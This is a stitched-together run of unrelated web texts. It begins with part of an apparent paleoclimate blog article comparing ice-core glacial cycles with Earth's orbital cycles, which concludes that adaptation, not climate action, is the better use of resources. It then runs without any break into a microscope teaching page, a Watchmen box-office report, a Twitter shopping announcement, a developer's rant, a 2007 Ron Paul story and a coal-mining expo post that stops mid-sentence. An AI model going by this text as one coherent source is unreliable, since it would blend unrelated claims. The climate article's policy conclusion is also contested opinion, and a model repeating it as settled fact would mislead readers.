While there is uncertainty of +/- 3 kyrs in picking the exact timing of events this is not enough to change the main trends and observations. Although these curves are not stretched, stretching would likely improve correlation of the higher frequency events such as the stadials and interstadials. Several observations are evident from the glacial cycle traverse:
Duration of glacial cycles are progressively increasing from 89 kyrs in Cycle V to 119 kyrs in Cycle II. Cycle II is 34% longer in duration than Cycle V. The cycles are not spaced equally at 100 kyrs apart. Javier previously challenged the 100 ky cycle (see his Table 1 and Figure 5) over the past 800 kyrs using interglacial peak to peak duration.
The full glacial period at the top of each cycle is also increasing in duration from past to present but not necessarily getting much colder between cycles (+/- 1 degree C).
Cycle V has the longest warm period and Cycle III the shortest initial warm period. Maximum average warm temperatures are not that different (+/- 1 degree C).
Cycle III stands out as having an abbreviated initial interglacial warm followed by a second warm period (MIS 7c). This has been recognized in the literature and is frequently debated as to whether the second warm period is a true interglacial or an interstadial. A similar suppressed interstadial can be correlated to Cycle II (yellow lines). Regardless, MIS 7c is considered to be part of the larger Cycle II and its onset is not as significant as the Termination event.
There appears to be an internal event within the interglacial warm periods that correlates to the 8.2 kyr Holocene event. Stadials, or cooling events, also appear correlative within the glacial periods (yellow lines) that have similar patterns suggesting a similar natural process was repeated.
Interglacial Warm Periods Comparison
Patterns in historical temperature changes were also evaluated for the past four interglacial periods and compared to the present-day Holocene. On the largest scale as seen in Figures 1 and 2; Warm II, III, and IV have asymmetric patterns with rapid initial warming and slower cooling. Warm V has more of a symmetrical pattern, with the climate optimum occurring towards the end of its warm period. Onset of present day warm appears similar to the beginning of a symmetrical pattern and perhaps analogous to Warm V.
In the following sections, warm patterns are compared in more detail for the duration of the warm interglacial period, the warming onset and cooling period.
Warm Period Duration Patterns
The warm interglacial periods over the past 450 kyrs range from 9 kyrs to 32 kyrs in duration using a delta oC temperature cut-off of minus 1 (Figure 2, Table 1). All past warm periods have been approximately 2 degrees C warmer than the Holocene. Most interglacial durations have bimodal patterns and tend to be asymmetrical. Warm V is an exception with a more symmetrical pattern (Figure 2).
Table 1: Warm Period Durations over the past 450 kyrs (dark red on Figure 2 which corresponds to a minus 1oC delta cut-off).
Interglacial Period Duration (kyr) Warm I 12+ Warm II (MIS 5) 17 Warm III (MIS 7e) 9 Warm IV (MIS 9) 14 Warm V (MIS 11) 32
Warm periods II and IV are discussed together due to their similar patterns and Warm periods III and V are discussed separately due to their different patterns. Javier (his Figures 13 and 14) and others have also recognized that Warm periods III (MIS 7E) and V (MIS 11) have different interglacial characteristics.
Warm Periods II and IV: The Holocene warm pattern is generally bimodal and similar to Warm II (MIS 5) and IV (MIS 9) with the exception of the onset warming and a lower initial climate optimum (Figure 3). These three warm periods have an initial brief climate optimum of 2 to 3 kyrs like the early Holocene. This is followed by a brief cooling with a V-shape pattern like the Holocene 8.2 kyr event and then a longer more stable warm period lasting about 7 to 8 kyrs like the Middle Holocene warming.
Figure 3: Holocene temperatures in red overlain on Warm II and IV periods. Bottom horizontal axis corresponds to the Holocene time and top horizontal axis is the past warm time in thousands of years. Colored bar at top refers to the older warm phases. The red text corresponds to the Holocene events.
There is only one key stadial cooling event during Warm II and IV periods. This key stadial event drops temperatures by about 2 degrees C and lasts for a couple thousand years. It also appears similar in timing to the Holocene 8.2 kyr stadial (Figure 3). This intervening stadial may represent a recurring event that happens after the initial climate optimum and will be discussed later.
There are numerous oscillating events during the warm periods with minor temperature variations (<1.5 deg C) that are short duration (tens to hundreds of years). These events would be like the Holocene events that include the Roman Climate, and the Medieval warm followed by the Little Ice Age which are discussed extensively in the literature. They are difficult to see on the graphs in Figure 3 and appear more as background noise during the Holocene warm period due to the compressed scales used here.
These minor events are probably unique to each warm period and have been attributed to long term ocean cycles, Pacific and N. Atlantic multi-decadal and decadal climate cycles, orbital obliquity, solar variability, and greenhouse effects.
Additionally, the bimodal patterns for Warm Periods II and IV are strikingly similar as previously discussed by Hannon. The main difference is Warm IV is compressed by about 6 kyrs. This is demonstrated by stretching the Warm IV curve to match Warm II as shown in Figure 4. These warm periods are approximately 200 kyrs apart. The striking similarity of these two warm periods suggests that the sequence and interaction of natural causes (solar and oceanic) are comparable and repeatable.
Figure 4: Graphs with Warm II (blue) and IV (green) overlain. Horizontal axis for Warm II is in kyr and plotted at top of each graph. Warm IV horizontal axis is plotted on bottom of each graph. Vertical axis is in 1 deg C units and same for all datasets. In the second graph, Warm IV was stretched by ~6 ka.
Warm III and V Anomalous Periods:
Warm III (MIS 7e) and V (MIS 11) exhibit less well-behaved patterns during their warm period (Figure 5). Warm III has a very brief initial climate optimum lasting 2 kyrs and then begins to enter a significant cooling period with nearly coincidental timing as seen in the Holocene 8.2 kyr event (Figures 2 and 5). Then temperatures stabilize for about 4 kyrs before resuming a rapid cooling descent.
Warm V has a similar initial temperature as the Holocene. However, it quickly enters a brief cooling (Figure 5). It is not certain whether this brief stadial at 423 kyrs is equivalent to the Holocene Younger Dryas stadial or the 8.2 kyr cooling (Figure 2). Warm V is unique because it has an extended warming period that is even warmer than the initial climate optimum. Warm V’s second extended warm is almost 2 degrees C warmer than present-day (Figure 5). EPICA discusses Warm V compared to the present-day in more detail here.
Figure 5: Holocene temperatures in red overlain on Warm III and V periods. Bottom horizontal axis corresponds to the Holocene time and top horizontal axis is the past warm time in thousands of years. Colored bar at top refers to the past warm phases. The red text corresponds to the Holocene events.
Warming Onset Patterns
Warm II, IV, and V warm periods display a rapid linear warming to their climate optimum (Figure 6). Warm II and IV have a similar steep slope of m=0.89 and 0.85 respectively. Whereas Warm V has a flatter slope of m=0.67, giving it more of a symmetrical pattern (Figures 1 and 2).
The initial Holocene warming is characterized by two events; the Boiling/Alleröd (B/A) interstadial and the Younger Dryas stadial, referred to as a stair-step pattern (Figures 3 and 5). The only interglacial warm period during the past 450 kyrs that exhibits a similar behavior is Warm III. Warm III has a B/A interstadial equivalent at 248 kyr, but it is not as warm as the B/A. An onset slope calculated for Warm III immediately following this interstadial is quite steep (m=1.1). A slope was not calculated for the Holocene due to the stair-step pattern.
As previously mentioned, the climate optimums of both Warm II and IV are approximately 2 degrees C higher than the Holocene present-day. Perhaps the Younger Dryas cooling during the Holocene warming onset intervened and prevented the Holocene from reaching the initial climate optimums seen in Warm II and IV. This was also observed by Javier, his Figure 14.
Figure 6: Comparison of the onset patterns and slopes. Past warm periods have a linear increase with an excellent regression. The linear equation and R2 are presented on each chart.
Cooling Patterns
Final cooling slopes for the warm periods are more gradational than the onset warming and are similar with slopes ranging from 0.38 to 0.31 (Figure 7; Table 2). Warm II, IV, and V have a gradual cooling over 5 -10 kyr and then continue into a series of stadial and interstadial periods during the next mild glacial phase. Warm III has an initial rapid cooling, stabilizes and then a final cooling (Figure 5). Different slopes were calculated for Warm III (Figure 7). The initial rapid cooling slope is very steep (m=0.8), however the overall cooling is like the other warm periods.
If the Holocene Warm I behaves similarly to Warm IV, the cooling onset should begin very soon and within hundreds of years (Figure 3). If the Holocene Warm I behaves like Warm II, the cooling onset should begin within a few thousand years (Figure 3). If the Holocene Warm behaves more like Warm V, cooling onset is probably 10 thousand years away (Figure 5).
Figure 7: Comparison of cooling patterns and slopes. Cooling of past interglacial periods have a linear decrease with an excellent regression. The linear equation and R2 are presented on each chart and slopes range from 0.40 to 0.31.
Table 2: Comparison of Onset and Cooling slopes for Warm Periods
Warm Period Onset Slope Cooling Slope Warm II (MIS 5) 0.89 0.36 Warm III (MIS 7e) 1.10 0.80/0.34 Warm IV (MIS 9) 0.86 0.38 Warm V (MIS 11) 0.68 0.31
Hierarchy of Events and Accuracy Observations
Scientists have attributed interglacial warming and pacing to the Milankovitch cycles. The Milankovitch cycles consist of eccentricity (elliptical orbit), obliquity (axial tilt), and precession (wobble) of Earth’s orbit resulting in cyclical variation in summer insolation in the northern hemisphere. A strong case for obliquity dominance has been made by Javier and Tzedakis, and precession is favored by Ellis and Palmer. These papers provide excellent overviews of the Milankovitch processes.
It is interesting to note that scientists compare astronomical data with precise accuracy to geologic timescales with uncertainties on the order of +/- 5 kyr. Picking the exact onset age of an interglacial period, the precise peak of a climate optimum, and their durations can vary +/- 3 kyr depending on the criteria used. Precession cycles occur on an approximately a 20 kyr scale and obliquity on a 41 kyr scale. The geologic timescale and interpretation error is approximately 25% of a precession cycle and 12.5% of an obliquity cycle.
In the following analyses, Milankovitch processes (eccentricity, obliquity, and summer insolation) are correlated to different events based on degree of temperature variation and duration. These events are the longer term glacial cycle, rapid onset of interglacial warm periods, and interglacial warm duration and cooling. All references to insolation/summer insolation in this post are “Northern Hemisphere Summer Insolation at 60 degrees North” (Berger, 1992).
Glacial Cycle Control Observations
In general, the cycle of eccentricity from circular to more elliptical and back to circular takes approximately 100 kyrs. Additionally, each 100 kyr cycle can be predominately more circular or predominantly more elliptical (Figure 8).
There are five intervals of Glacial Cycles I-V over the past 450 kyrs that increased in duration from past to present (89 kyr long to 119 kyr long). They are not precisely 100 kyr events. Closer evaluation of the eccentricity cycles demonstrates that each cycle also varies in duration and are not precisely 100 kyr events.
Figure 8: Glacial cycles I – V plotted with Eccentricity (orange) and summer insolation (blue). Duration (kyr) between eccentricity cycles in orange, between summer insolation in blue, and between termination/onset cycles in gray. See Figure 2 for detailed glacial cycle correlations.
Eccentricity and precession/summer insolation appear to correlate with the duration of the glacial cycles (Figure 8). Each eccentricity cycle has become increasingly longer in duration over the past 450 kyrs. The eccentricity cycles generally correlate with the progressively longer glacial cycles. However, the duration of summer insolation cycles, which are strongly influenced by eccentricity, coincides nicely with the glacial cycle duration (Figure 8).
An interesting observation is Glacial Cycle V occurs when eccentricity cycles are predominately circular (Ecc 5). Glacial Cycle V is the shortest glacial cycle over the past 450 kyrs and lasted only 89 kyrs. Because Earth is currently in a circular orbit, the Holocene Glacial Cycle appears more likely to be analogous to Glacial Cycle V with a shorter glacial cycle.
Glacial Cycles II and IV occur when the eccentricity cycles are between circular and elliptical (Ecc 2 and Ecc 4). These cycles are 200 kyrs apart. Ecc 2 has an asymmetrical pattern because it is more elliptical initially and then continues to decrease to an almost circular orbit. Glacial Cycle II occurs during Ecc 2 and has the longest mild and full glacial period.
Glacial Cycle III occurs when the eccentricity cycle is the most elliptical (Ecc 3). Glacial Cycle III also is an exceptional cycle which has two warm periods; Warm period III (MIS 7e) and a second warm period (MIS 7c). During elliptical cycles, both obliquity and summer insolation are amplified.
Warm periods occur at the beginning of each eccentricity cycle as Earth is going from a circular orbit to elliptical. In the middle of each eccentricity cycle, as Earth’s orbit is going from elliptical back to circular, mild glacial to full glacial periods exist, except for Glacial Cycle III which has a second stunted warm period.
Warm Onset Controls
The most significant event of the interglacial/glacial cycle is the termination of the glacial period and rapid onset of the interglacial period. This has happened five times over the past 450 kyrs.
In geologic terms, the warm onset event would be described as an unconformity representing a significant geologic episode such as continental uplift or massive erosional periods. Therefore, the observed rapid onset of warm interglacial periods should be caused by powerful events such as an alignment of external astronomical forces (eccentricity, obliquity, and precession/insolation). Warm onsets only occur when three external forces are increasing: 1) eccentricity, 2) obliquity, and 3) summer insolation as shown in Figures 8 and 9. All major warm onsets have commonality of these three increasing astronomical forces escalating in combination. All three play a role although not always equally.
Figure 9: Obliquity (red) plotted with Dome C isotope/temperature data (gray). Each obliquity cycle is 41 kyrs apart. As discovered by Javier, ~a 6.5 kyrs shift demonstrates a good correlation with interglacial warm period duration.
Warm III (MIS 7e) is a good example. As Javier points out in his Figure 10, MIS 7e onset did not initiate when the obliquity cycle was increasing because insolation was decreasing. As soon as summer insolation began to increase combined with increased obliquity and increased eccentricity, then warming onset began.
Warm V (MIS 11) was also initiated by increasing summer insolation and eccentricity. However, the increase in obliquity was not far behind. Warm V has a lower onset slope possibly due to the predominance of insolation and a more circular orbit. This slower onset results in a more symmetrical pattern for the warm period. Warm periods tend have a slower onset such as Warm I and V during the time when the eccentricity cycle is predominantly circular (Table 2).
There are an additional five occurrences when obliquity increases without initiating a subsequent warm interglacial. These occur when eccentricity is changing from elliptical to circular and insolation is below 550 W/m2 (Javier, Table 5). Obliquity is only successful in initiating an interglacial warm when eccentricity transitions from circular to elliptical and summer insolation is increased. The only exception is a second stunted warm period (MIS 7c) that occurred during the most elliptical cycle. During elliptical cycles, both obliquity and summer insolation are amplified and enhanced obliquity could explain a stunted warm period.
There are approximately ten occurrences when precession/insolation increases without initiating a subsequent interglacial. During this time eccentricity was changing from elliptical to circular orbit and/or obliquity tilt was decreasing.
Steeper and stronger onsets occur when Earth’s orbit is more elliptical and more gradual onsets when the orbit is more circular (Table 2, Figure 8). Obliquity and precession/insolation are more amplified during an elliptical orbit and less pronounced during a circular orbit.
Warm Duration Controls
The past five warm periods last from approximately 10 kyr to 30 kyr (Table 1). The duration of the interglacial warm period correlates well to obliquity which appears to be a dominate control as proposed by Javier (Figure 9 and his Figures 9 and 12). Obliquity cycles are 41 kyr in duration and most of the warm cycles are less than the obliquity cycle. Obliquity increases precede the warm periods by about 6 kyrs due to Earth’s thermal inertia (Javier). Summer insolation cycles have a higher frequency of about 21 kyrs (11 kyrs for ½ cycle) and do not correlate as well as obliquity does with warm periods (compare Figures 8 and Figure 9).
Obliquity is the greatest control on duration and cooling of the warm periods. Most of the warm periods ended due to decreasing obliquity. Although it appears summer insolation frequently decreases during this time.
Warm Periods II and IV have very similar patterns as discussed in the previous section and Figure 5. These two interglacial warm periods occur during a semi-elliptical eccentricity cycle with a similar insolation and obliquity cycle (Figures 8 and 9).
Warm periods III and V are extremely different end members. Glacial Cycle III and Warm III occurs when eccentricity is the most elliptical. Glacial Cycle V and Warm V occurs when eccentricity is predominantly circular.
During the most elliptical orbit, obliquity has the greatest tilt ranging from 22.1 to 24.5 degrees and insolation is the greatest ranging from approximately 430 to 550 W/m2. When [insolation] is greater than 550 W/m2, it can result in an interglacial period (Javier, his Figure 12). Warm III has two warm periods during this elliptical orbit with amplified obliquity tilt and summer insolation cycles. This initial warm period (MIS 7e) was short lived because obliquity began to decrease and ended the Warm period prematurely (Javier). A second stunted interglacial occurs during this cycle, MIS 7c, and was initiated by amplified obliquity.
Interestingly, Warm V is the longest warm period in duration but has the shortest glacial cycle. The short Glacial Cycle V is consistent with the shortest eccentricity/insolation cycle as previously discussed in the eccentricity control. Javier has attributed the extended duration of Warm V (MIS 11) to an additional increasing insolation cycle in the middle of its period as shown in Figure 8.
2nd Order Control Observations
Several smaller warm events (interstadials) and abridged coolings (stadials) which last only thousands of years occur within each warm period. They are easily recognized in Figures 3 and 5. Many of the Holocene intermediate events have been extensively studied and named including; Boiling/Allerod warming interstadial followed by the Younger Dryas Cooling Stadial, and the intervening 8.2 kyr Stadial or cooling during Holocene optimum. Key stadial and interstadial events occur less frequently during warm periods than the Dansgaard-Oeschger cycles which occur primarily during mild glacial periods.
A cooling stadial that is equivalent to the 8.2 kyr event is present in both Warm II and IV shortly after the climate optimum causing the bimodal warming pattern. It is interesting that this event occurs 2 to 3 kyrs after the warm onset. Perhaps a decrease in precession triggered the Holocene 8.2 kyr cooling event as well as in Warm II and IV. The result was a meltwater pulse where glacial lake melting modifies the AMOC (Atlantic Meridional Overturning Circulation) resulting in a cool period.
Cycles of precession/ summer insolation which occur more frequently than obliquity cycles may explain the occurrence of smaller stadials and interstadials within the warm periods. Insolation and obliquity have different frequency cycles. Obliquity full cycles occur every 41 kyrs and insolation varies from 18 to 23 kyrs. Insolation could be a second order modifier on obliquity and initiate an overprint creating a stadial or interstadial during or between obliquity cycles.
Conceptual Models for Warm Periods
A generalized model for Warm II and IV is proposed in Figure 10 to demonstrate the hierarchy and timing of astronomical processes and oceanic processes on these similar Interglacial Warm periods. It is simplified from the detailed science describing these processes and serves as a guide for whether astronomical or oceanic processes dominate. The model assimilates the processes discussed in the previous section for the Holocene and by Javier.
Figure 10: Summary of processes for Warm II (blue) and IV (green) warm periods. Horizontal axis is relative time for kyr. Onset occurs during increasing Eccentricity, Obliquity, and precession/insolation. Obliquity is dominant control over cooling and thus, warm duration. Higher frequency precession/insolation creates stadials and interstadials.
Warm II and Warm IV occur during a semi-elliptical eccentric cycle (Ecc 2 and 4) and are approximately 200 kyrs apart as show in Figure 8. The rapid warming onset require the Milankovitch cycles (eccentricity, obliquity, and precession/Insolation) to be increasing simultaneously or within close timing of each other. These combined cycles terminate the previous glacial period and initiate the onset of the warm interglacial period. Most warm duration culminations coincide with obliquity which subsequently controls the duration. Warm durations can be interrupted by higher frequency insolation creating either a stadial (8.2 kyr event) as in the case of Warm I, II and IV or an extended warm period as in the case of Warm V. The minor temperature fluctuations of +/- 1.5 degrees C during the flatter portion of the warm durations are dominated by oceanic processes (Javier).
A conceptual model is also proposed for the anomalous Warm III and V periods in Figure 11. Eccentricity is very small or circular for Warm V and very elliptical for Warm III. As discussed in the onset section, increasing insolation may have initiated both warming periods with obliquity increasing shortly thereafter.
Figure 11: Proposed processes for anomalous Warm III and V periods. Horizontal axis is time in Kyr. Onset occurs during increasing Eccentricity, Obliquity, and precession/insolation. Vertical axis is relative global temperatures. Curves are Dome C isotope/temperature data.
Warm III had the steepest onset and cooling slopes. The first initial warm period was short-lived. A second stunted warm period occurred approximately 40 kyrs later. The glacial cycle was also one of the longest at 113 kyrs. During the most elliptical cycle, both precession and obliquity are amplified and can initiate a stunted “interglacial” period like MIS 7c.
Interglacial warm periods and glacial cycles show the following characteristics during Elliptical orbits:
Astronomical forces dominate during the elliptical orbits. Both Earth’s axial tilt is more extreme and Earth’s wobble is more dramatic.
Glacial cycles tend to be longer (>100 kyrs).
Temperature changes are dramatic and abrupt with rapid warm onsets and faster cooling slopes.
Obliquity increases can result in a couple of interglacial periods.
Predominantly elliptical orbits repeat approximately every 400 krys.
When Earth is in a circular orbit like Warm V and present day Warm I, Earth’s tilt and wobble are less. Subsequently, astronomical forces play a lesser role in the interglacial warm periods. Obliquity tilt and summer insolation still control the warm initiation and closure. However, onset and cooling are more gradual.
Warm V onset was primarily driven by an early increase in insolation and a second increase by obliquity. The warm period was extended by a second summer insolation pulse resulting in its optimum. The warm duration finally ended by decreasing obliquity. The quiet or more stable portions of the long warm period were probably dominated by oceanic processes.
Circular orbits show the following characteristics:
Circular orbits have less obliquity tilt, lower precision wobble and less summer insolation.
Glacial Cycles tend to be shorter (<90 kyrs).
Warm onsets and cooling are more gradual resulting in more symmetrical patterns.
Oceanic processes dominate during the warm duration creating minor temperature changes (+/- 1.5 degrees C).
Predominately circular orbits repeat approximately every 400 kys.
These models were an attempt to compile astronomical and oceanic processes discussed by previous authors (Javier and Ellis and Palmer) and to explain the various repeatable patterns seen in the Dome C isotope/temperature data. Although process interactions are very complex, separating out predominate causes and effects on global temperature should help improve future climate simulation models. Climate models need to include astronomical as well as oceanic and atmospheric forcing to reliably predict future temperature changes and the duration of the Holocene interglacial warm period.
Astronomical processes appear to be the key control for significant temperature changes. Oceanic and atmospheric processes create minor temperature fluctuations during warm periods. However, the culmination and eventual cooling is astronomically controlled. It is impossible for humans to control Earth’s orbit, tilt, or wobble. Since astronomical processes affecting significant climate changes are out of our control, a focus on adaptation instead of climate manipulation is a much better use of resources.
Summary and Conclusions
A Glacial Cycle traverse illustrates that the duration of interglacial/glacial cycles progressively increases from past to present over the past 450 kyrs and are not a simple 100 kyr cycle. Eccentricity and its influence on summer insolation appears to play a dominate role in the duration of glacial cycles. Circular orbits tend to have shorter cycles (<100 kyrs) and more elliptical orbits tend to be longer (>100 kyrs).
Conceptual models are proposed using astronomical and oceanic processes described in the literature to explain repeatable patterns observed in past interglacial warm periods. Prioritizing dominate processes operating in different warm periods may provide general guidelines for future climate models.
Past Warm II and IV periods are well behaved and exhibit strikingly similar warming/cooling patterns suggesting a repeatable interplay of astronomical, oceanic, and atmospheric processes. These repeatable patterns occur every 200 kyrs during semi-elliptical eccentric cycles.
On the other hand, anomalous Warm III and V periods tend to have less predictable patterns and are unique. Warm III occurred during the most elliptical orbit and Warm V during the most circular orbit. Glacial cycles during elliptical orbits tend to have rapid onset and several warm/cool periods because obliquity is amplified and summer insolation dominates. Warm periods during circular orbits tend to have slower warm onsets and are more symmetrical. Oceanic processes may play a greater role during the warm periods but play a minor role in controlling the onsets or eventual cool periods.
During the last 450 kyrs, the five major warm onsets with rapidly increasing temperatures are triggered by increases in the eccentricity, obliquity, and precession of Earth’s orbit. The nearly concurrent increase in these three astronomical forces appears a necessary component for a major warm onset. Obliquity is the dominate control for ending these major warm periods and entering a cooling phase. Higher frequency procession/summer insolation appears to play a secondary role in overprinting the duration pattern with a stadial event such as the Holocene 8.2 kyr or extending a warm period like in Warm V. Oceanic processes dominate during periods of minor temperature changes (+/- 1.5 degrees C).
Dome C isotope ratios and their associated temperature estimates in combination with astronomical data provide ample evidence that astronomical forces control warming and cooling cycles. Because the astronomical processes affecting significant climate changes are beyond human control our focus should be on adaptation rather than climate manipulation. It is not a question if cooling will occur but simply a question of when.
Acknowledgements:
Special thanks to Andy May and Donald Ince for reviewing and editing the article.
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RedditExplore the features of different microscopes and learn how scientists choose which ones to use in their research.
In this interactive, students explore the strengths and weaknesses of seven types of microscope. They hear why individual scientists have chosen to use particular microscope types in their research.
You will need the Adobe Flash Player to view this.
Transcript
Welcome
When planning an experiment with microscopes, you need to think carefully about which microscope to use. It all depends on what you want to learn. What do you want to do?
Look at organisms, cells or tissues that are currently alive?
Look at the surface of a living thing?
Look at whole cells and how they connect in 3D?
Look at the surface of a sample at high resolution?
Look at a cross-section of a sample at high resolution?
Build up a 3D model from the results?
Avoid removing moisture from the sample?
This interactive takes you through some of the important differences between microscopes. Click on the micrograph images to find out more about each microscope or answer the questions to find out which microscope is best to use.
Fact file: Stereomicroscope (light)
Fact file |
Watchmen Bodyslammed by Rock, Down 78% From Opening
According to Variety, “Watchmen” was bumped down to #3 in the box office, on only it’s second Friday in theaters. They made an estimated $5.4 million, decreasing 78% from the opening ($25.1 million) in one week! “Laying the smack down” on the superheroes was The Rock, or Dwayne Johnson, in “Race to Witch Mountain.” The Disney film came out at #1 yesterday, with $6.7 million – right ahead of “The Last House on the Left,” which came in close at $5.6 million.
“Watchmen” has only raked in $73.3 million in 8 days; the budget was around $120 million. Now although it seems like the Watchmen were destroyed only one week after being in theaters, you also have to keep in mind that the “comic book turned movie” grossed a lot more at once than either “Mountain” or “House” did. Many comic book fans purchased tickets to midnight screenings, and also attended multiple showings. But the problem is that most of the Watchmen fans are going to go see the movie on it’s release – so the people who are going to see it already have. I would expect for Saturday and Sunday to do better though, as most teenagers / adults that are going to a movie on Saturday are not going to choose “The Rock.” It’s going to be up to “Watchmen” and “Last House on the Left” to duel it out.
“Watchmen” is a great movie, and I would recommend to comic book fans and non-fans alike. I saw the film twice, and loved it even more the second time around. It is going to be up to the fans, and word of mouth for Watchmen to retain the weekend title. Be sure to check out our review of Watchmen here.Twitter is now ready to grow its e-commerce existence in a huge way. Company announced to roll out ‘Buy Now’ button, which was introduced last year to many merchants and brands.
The Buy Now button will be available for merchant platforms such as Bigcommerce, Demandware and Shopify, including brands like Best Buy Adidas, PacSun and many more. Previous stalwarts included Fancy, Stripe, Gumroad and Musictoday.
This feature was firstly introduced to last year. The company disclosed that this feature was on testing mode with a small group of brands and artist. Twitter thought that test was successfully with distinction.
Twitter says that it will enhance more option to discover and purchase products from their loved brands.
This function is rolling out for US users only, but hopefully it will be accessible for other regions also.It has happened yet again. I've been brought on for another Django project. This time it is about taking an existing site for yet another magazine publisher and converting their Wordpress driven site into a real full-blown site complete with blogs, forums, user profiles, dynamic main page content, complete customisation from within the framework and included applications and ultimately a site in which a developer is not needed for day to day changes.As it exists, this publication is an off shoot of their primary magazine. A magazine whose website was written and managed by an outside from that I believe coded the entire site so as to require additional invoicing and servicing for all but the most minute changes. This is a disgusting business model and one with which I've had the misfortune of experiencing whilst working as a sub-contractor to a sub-contractor for Burlington Coat Factory.The H-1B Visa Project Manager who wasn't too fond of me because I don't believe that coding in dress attire and/or a tie makes someone a better worker (to the contrary, i will NOT wear dress attire for day to day work as it is a pointless expression of old brick-and-mortar mindsets). He also was the first time that I was reprimanded for having an eloquent solution that adapted automatically to the growth needs of the end-clients database/system. I wrote the software to handle dynamically gathering and sequencing additional 'like' fields as they were added to Burlington's transaction schema. The way I designed and wrote the software, the MOMENT the schema changed, my software contributions would immediately include relevant changes, without a restart of any of the daemons I engineered. I was told that the reason why i shouldn't have done this is because the sub-contractor for which i was writing this code could then go back and charge an exorbitant amount of money each time minor changes were made. This disgusts me, and I find it ethically wrong.I am an engineer and work independently by choice as I can first and foremost hold myself and solutions I produce, to higher standards; delivering what my clients want and need, not solely based upon what they say they want and most definitely not building them into a corner for profit over common decency and professional standards.Once the project has been completed, I will be quite happy to share the url(s) with CodeDEVL readers.
Labels: Burlington Coat Factory, Django, Engineering, Ethics, H-1B Visas, principles, Python, software engineeringRon Paul teams up with Dem candidate to end war David Edwards and Adam Doster
Published: Tuesday July 24, 2007 Print This Email This Enjoy this story? Get politics headlines in your browser as they break. Ron Paul, a Republican Presidential candidate who is opposed to the war in Iraq, believes that lawmakers can reach across the aisle to pass legislation that will bring American troops home as soon as possible. "Sometimes, those [liberal and conservative] labels are misleading," he told Joe Scarborough on MSNBC Tuesday. "I think if you approach this from a constitutional viewpoint, we can join hands with the left as well as the right and come up with a solution and get our troops home." As the host mentioned, the Texas Congressman has co-sponsored a bill with another presidential contender, Democrat Dennis Kucinich, that would repeal President Bush's authority to use force in Iraq within the next sixth months. Besides Kucinich, 18 other Democrats have signed on. Paul has garnered a lot of interest on the Internet. As a result, he now has more cash on hand than the campaign of the once favored John McCain, Senator from Arizona. "I know the daily fundraising over the Internet has remained strong," he said. "You know, for us, if we can... raise $50,000, that's a lot of money and since we spend it very conservatively, it's been very helpful to us." A strict follower of the constitution, Paul also bemoaned how Republicans have neglected their commitment to fiscal conservatism. "We're a big government party of big government conservatives and this war is a disaster," he said. "It's part of the big government... We're fiscally irresponsible. The Republican Party has lost its way. If it expects to do any good at all next year, it has to be a party of limited government." The following video is from MSNBC's News Live broadcast on July 24.Wandering the booths, with only one day to catch all the new and different products, I did come across a couple of items that are, I believe, worth a brief comment before I write a concluding post to wrap ASPO-USA 4. In that post, I will give some of my own interpretation of the conference.
It seems as though I have inhabited two different worlds in the past 24 hours. I went from the relatively small (500 folk) meeting in Sacramento where Peak Oil is viewed as imminent, to the halls of the Convention Center in Las Vegas, where the Quadrennial MinExpo is showcasing the latest machines to over 41,000 folk involved in the Mining Industry. It overflows that very large (600,000 sq. ft) building and extends out into the parking lot. Here, with an industry in considerable profit, the displays were large and much more optimistic than I have seen them in previous years. The two meetings were, however, joined by a common complaint that the human resource, the engineers and scientists needed by both communities, are in critically short supply.
One of the first things that I noted going into one of the halls was the display by Bucyrus, a company that I have long associated with making equipment that is used to mine coal and minerals at the surface. The display now includes a significant amount of equipment for underground mining, perhaps a recognition on their part of the changing future of the industry.
At the same time it was hard to miss the number of training simulators that dot the floor of the different halls. There is a lot of concern about training new employees and management, and the loss of the knowledge base of the industry, but in displays such as this, and the computer generated pictures of the ore in the deposit, there are some answers that technology can give to help.
However, more to the topic of this site I saw that Coal India Ltd (CIL) had a booth, and with all the emphasis that was placed on China at the ASPO Conference, it is perhaps useful to give some statistics, from their brochure, on the other country anticipating considerable increased coal use. India uses coal to meet around 55% of its industrial power needs, and has estimated reserves of 264 billion tons, with a proven reserve of 102 billion tons, 80 years at current rates of consumption. CIL mines 84% of India’s coal feeding 72 of the 75 thermal power stations in the country (64,285 MW) with the 380 million tons they mine. Their sales brought in $9.69 billion of which $1 billion went in tax.
Because of increasing total demand, which is expected to rise to 730 million tons by 2011-2012, CIL will increase its production to 520 million tons, rising to 664 million tons by 2016-2017. At present 84% of the coal is mined at the surface, though this may only last some 30 more years. They recognize that mining will thus have to focus more in the future on underground production. Indian coal needs to be cleaned to meet international standards at higher prices, and so the company will also invest in larger coal washeries. It has planted 69 million trees as part of land reclamation after mining. With 473 mines and 424,000 employees, CIL claims to be the largest coal producing company in the world.
Wandering around the rest of the exhibition, I discovered that EPA has a Coalbed Methane Outreach Program, which it uses to encourage mines to collect and use the methane that is found with the coal, rather than just venting it to atmosphere (the historic practice). Herewith are some facts from their material. In 2005, for example, some 388 million metric tons of CO2E of coal mine methane (CMM) was vented, with China leading at 34%, the US second at 13% and Russia, North Korea and Ukraine third at 7% each. This is about 6 - 10% of the methane generated by human activity. Methane is considered to be a much more powerful greenhouse gas than carbon dioxide (about 20 times by weight) in trapping heat. The Methane to Markets program is an international program to make use of this resource.
One illustrative example comes from the Jincheng Anthracite Mining Group in China, which started feeding methane to a 1.6 MW power plant in 1995, and a second plant, raising total power to 4 MW was added in 2002. A third unit bringing power produced up to 120 MW is planned for this year. A total of more than 166 million cu.m. of gas will then be used. It is worth noting that this is also the site of Chinese CTL plant. The methane capture program is part of an effort in China to clean up its air.
China has set a goal of reducing the emissions of major pollutants by 10 percent during this five-year period. As part of the second Strategic Economic Dialogue, the United States and China have agreed to develop up to 15 large-scale coal mine methane capture and utilization projects in China in the next five years.
One of the problems with the conventional capture of CMM is that it is released from the coal as it is mined, and becomes dangerous as air concentration increases (since it can ignite and cause a coal mine explosion). To stop this from happening, mines increase the ventilation current to keep the concentrations at safe and low levels. This makes it difficult to capture and then use the gas. It also vents large quantities into the atmosphere. To most effectively capture the gas requires that the coal bed be drained of methane before mining occurs. This can be done by either drilling horizontal holes from within the mine forward into the coal, or by drilling down from the surface into undeveloped sections of the mine (or even before the mining has occurred). This is known as degasification.
Methane also migrates into the broken rock over the mining operation and can again build up concentrations over time. By putting pipes or boreholes into these areas, methane can still be recovered from the abandoned regions of a mine, or even after the mine has closed.
The greatest volume of methane is, however, still emitted as part of the ventilation of the mine at about 46% of the volume, with only 25% being captured and used. It is thus an area where there is a continued need for research and results that will allow total capture of the resource. Looking at the brochure, however it is from 2002, more recent values (from the website) show the US CMM Emissions for 2006 (in billions of cubic ft):
